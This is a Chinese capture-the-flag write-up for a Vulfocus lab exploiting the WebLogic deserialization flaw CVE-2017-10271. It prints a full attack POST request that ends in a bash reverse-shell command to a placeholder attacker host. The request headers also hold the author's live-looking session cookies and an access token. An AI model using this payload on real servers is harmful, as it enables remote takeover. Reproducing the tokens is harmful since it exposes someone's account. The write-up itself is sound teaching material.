[Vulfocus解题系列]weblogic 反序列化（CVE-2017-10271）

Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

打开靶场环境

访问路径/wls-wsat/CoordinatorPortType
出现下图所示页面说明可能存在漏洞

burp抓包

改包，将get改为post，下面加上payload

访问路径，成功写入文件，证明漏洞存在

访问shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: vulfocus.fofa.so:19794
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1640763811,1640775017,1640775045,1640921749; Hm_lvt_deaeca6802357287fb453f342ce28dda=1640515257,1640681447,1641044574,1641123950; ECS[visit_times]=4; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1641127736; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0MjEzLCJ1c2VybmFtZSI6IjAweW9uZ3NoaXdhbmd6aSIsImV4cCI6MTY0MTIxMDM3MCwiZW1haWwiOiIxMDcwMDg2ODgyQHFxLmNvbSJ9.GYE9vgcF_65ZUOE5zsYyln5yh3bYggs1XPA8l2GTr78; JSESSIonID=9MdfhRmG1hThnrGvD7kjnbkJLtcLtCb8Q2whdZ4hhv146txKZLSr!-736868203
Upgrade-Insecure-Requests: 1
Content-Length: 636

 





/bin/bash


-c


bash -i >& /dev/tcp/攻击主机ip/21 0>&1